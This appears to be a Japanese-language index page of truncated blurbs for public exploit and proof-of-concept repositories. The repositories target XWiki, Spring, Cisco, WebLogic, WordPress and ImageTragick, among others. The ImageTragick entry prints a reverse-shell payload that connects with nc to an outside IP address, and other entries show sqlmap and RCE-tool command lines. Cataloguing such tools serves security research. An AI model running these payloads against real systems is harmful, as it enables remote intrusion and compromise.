CVE-2025-24893

CVE-2025-24893 のエクスプロイト CVE-2025-24893 は、XWiki Platform に影響を及ぼす重大な未認証リモートコード実行 RCE 脆弱性です。 この欠陥により、認証を必要とせずに、ゲストユーザーが SolrSearch エンドポイントへの特別に細工された RSS リクエストを介して、任意の Groovy コード を注入・実行できます。 これは影響を受けるシステムの機密性、完全性、可用性 に直接影響します。 概要 影響を受けるバージョン: XWiki ≥ 5.3-milestone-2 から ⚠️ 免責事項:...

GenGravSSTIExploit

EN GenGravSSTIExploit は、Grav CMS バージョン -p : https://hostname 形式のターゲット URL。 : ポート番号 デフォルトは 80。 例: root@kitploit: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. エクスプロイトとの対話 エクスプロイトが成功すると、OS コマンドを実行できる URL が表示されます: root@kitploit: + RCE payload injected. Visit the malicious page:...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL式インジェクションによるコマンド実行（CVE-2022-22947） Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 使用方法: root@kitploit: -t http://vuldomain.com //単一IP -f urls.txt //ファイルを読み込んで一括スキャン、マルチスレッドで高速 -c command //コマンドをカスタマイズ可能、デフォルトはwhoami...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

cve-2023-20198

cve-2023-20198 説明 1vere$kによるCVE-2023-20198のPOC、Blogに基づく。また、元のCisco articleに従った16進数応答のチェックを含む。 スクリプトは2つのモードで動作します： check モード：指定されたURLに接続し、応答コードを確認します。応答が200OKで、かつ応答の長さが32文字未満の場合、デバイスが 侵害されている可能性 があります。 exploit モード：このモードでは、ユーザー名、パスワード、侵害された設定を指定する必要があります。 Ciscoの記事で推奨されているhttp/httpsスキーマのサポートを追加。...

crlfmap

CRLFMap CRLFMapは、HTTP Splittingの脆弱性を発見するためのツールです。 なぜ？ Golangで並行処理のためのツールを書きたいと思いました。 パラメータとパスの両方をファジングできるようにしたいと思いました。 インストール root@kitploit: go get github.com/ryandamour/crlfmap ヘルプ root@kitploit: Available Commands: help Help about any command scan A scanner for all your CRLF needs Flags: -h,...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： root@kitploit: $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p...

log4j_checker

Log4jchecker.py（CVE-2021-44228） 説明 このPython3スクリプトは、CVE-2021-44228、別名 Log4Shell として知られる、Log4j2 Javaロギングライブラリで見つかった非常に深刻な脆弱性に対して脆弱なサーバーを探すことを目的としています。 外部のDNSログサーバーに依存して脆弱なターゲットを検証・確認することはありません。起動すると、全インターフェースとポート55555（.envファイルまたは環境変数で変更可能）で待ち受ける新しいスレッドが作成され、脆弱なマシンからのコールバック接続を待ち、Python...

phantom-playbooks

これは、Splunk Phantom 向けに開発された Corelight のコミュニティ Playbook リポジトリです。これらは、独自の Playbook を作成するための例をいくつか提供します。 Corelight Investigate DNS Alert この Playbook は、Splunk から DNS の保存検索またはアラートメカニズムを受け取り、アラートの Zeek UID を取得します。次に、DNS 応答の結果を使用して誤検知を特定するロジックを使用します。そのロジックは、DNS IPv4/IPv6 アドレスを取得し、一致する IP タプルを持つ Conn...

CVE-2019-12562

CVE-2019-12562 CVE-2019-12562 DotNetNuke DNN バージョン 9.4.0 以前における格納型クロスサイトスクリプティングにより、リモート攻撃者が悪意のあるスクリプトを管理者通知ページに保存・埋め込むことが可能です。このエクスプロイトは、コンテンツ管理、ユーザー追加、サーバーへのバックドアアップロードなど、管理者権限で任意の操作を実行するために使用される可能性があります。管理者ユーザーが格納型クロスサイトスクリプティングを含む通知ページにアクセスした場合、エクスプロイトが成功します。 エクスプロイト Config the exploit file...

cve-2011-3026-firefox

cve-2011-3026-firefox CVE-2011-3026 を Firefox Linux/x86 上で悪用する例。弊社の Black Hat 2012 講演より: "Exploiting the jemalloc Memory Allocator: Owning Firefox's Heap" オリジナルのスライド資料: https://www.blackhat.com/html/bh-us-12/bh-us-12-archives.htmlArgyroudis 更新版スライド資料:...

CentralizedFirewall

방화벽 관리자 API 프로젝트 설치 API 프로젝트를 설정하고 실행하려면 다음 단계를 따르세요: 1. 리포지토리 복제 root@kitploit: git clone https://github.com/adriyansyah-mf/CentralizedFirewall cd CentralizedFirewall 2. .env 파일 편집 .env 파일의 환경 변수를 설정에 맞게 업데이트하세요. root@kitploit: nano .env 3. Docker Compose로 API 시작 root@kitploit: docker compose...

CVE-2022-22965-rexbb

CVE-2022-22965-rexbb springboot coreのコマンド実行脆弱性、CVE-2022-22965の脆弱性悪用ツールです。JavaFxで開発されており、グラフィカルな操作でより簡単に、効率良く利用できます。 2022年12月28日-水曜日-21:44 ここ数日、脆弱性の再現をしていたところ、これまで多くの古典的な脆弱性を見逃していたことにふと気づきました。このsping...

CVE-2019-2725

POC-EXP このスクリプトはCVE-2019-2725 Weblogic 逆シリアル化RCE脆弱性を対象としています。使用前にVPSリスニングアドレスを変更し、実行時に特定のURLを送信することでテストを完了できます。 テストアドレス: http://192.168.209.134:49163/async/AsyncResponseService ペイロードパラメータのリスニングアドレスとポートを変更した後: python CVE-2019-2725.py 実行後にhttp://ip:ポート番号/async/AsyncResponseServiceを入力...

CVE-2023-6063

CVE-2023-6063 PoC 参考 WP Fastest Cache 1.2.2 で対処された認証なしSQLインジェクションの脆弱性 | WPScan プラグイン設定 「WP Fastest Cache」を有効にします。 PoC 「wordpressloggedin」Cookie パラメータは脆弱です。 root@kitploit: $ python sqlmap.py --dbms=mysql -u "http://127.0.0.1/wp-login.php" --cookie='wordpressloggedin=' --level=2 --schema...

CVE-2017-7529-

CVE-2017-7529-Nginx Range Header Integer Overflow Nginxは高性能なWebサーバーであり、リバースプロキシ、キャッシュサーバーなどとして広く使用されているオープンソースのWebサーバーです。 Nginx 1.13.2以下のバージョンにおいて、整数オーバーフローにより攻撃者がRangeヘッダを操作し、本来の応答範囲を超えたメモリ断片や機密情報を漏洩できる脆弱性が存在します。 Reference https://www.freebuf.com/articles/web/140178.html 脆弱な環境構成...

AndroidClient

AndroidClient Webインターフェースとの通信に使用する、クライアントベースのリモート管理ツールです。 提供されたソースコードは自由に使用できます。ライセンスは不要です。 お楽しみください！ 注: ソースをコンパイルするには、Android Studio（3.2 Canary以降）を使用することをお勧めします。 詳細については、http://revcode.eu をご覧ください。...

CVE-2018-6389

CVE-2018-6389 WordPress DoS 攻击 CVE-2018-6389 参考 https://baraktawily.blogspot.jp/2018/02/how-to-dos-29-of-world-wide-websites.html 如何实施 DoS 攻击 启动 WordPress root@kitploit: $ docker-compose up -d Pulling wordpress wordpress:4.9.3... 4.9.3: Pulling from library/wordpress e7bb522d92ff: Pull complete...

Apache_Penetration_Tool

ApachePenetrationTool QT C++を使用して開発された脆弱性悪用ツール。 日本語の説明 English description ツールインターフェース 脆弱性選択番号のところで、検出したい脆弱性を選択します。 脆弱性検出 最初のテキスト欄に対象のURLまたはIP（httpまたはhttpsを含む）を入力します。結果は最後の大きなテキストボックスに表示されます。 ディレクトリトラバーサル 2番目のテキスト欄に読み取りたいファイルの絶対パスを入力します。結果は最後の大きなテキストボックスに表示されます。 コマンド実行...

tough-cookie-patch-cve-2023-26136

RFC6265 Cookies と CookieJar for Node.js 概要 javascript var tough = require'tough-cookie'; var Cookie = tough.Cookie; var cookie = Cookie.parseheader; cookie.value = 'somethingdifferent'; header = cookie.toString; var cookiejar = new tough.CookieJar; cookiejar.setCookiecookie,...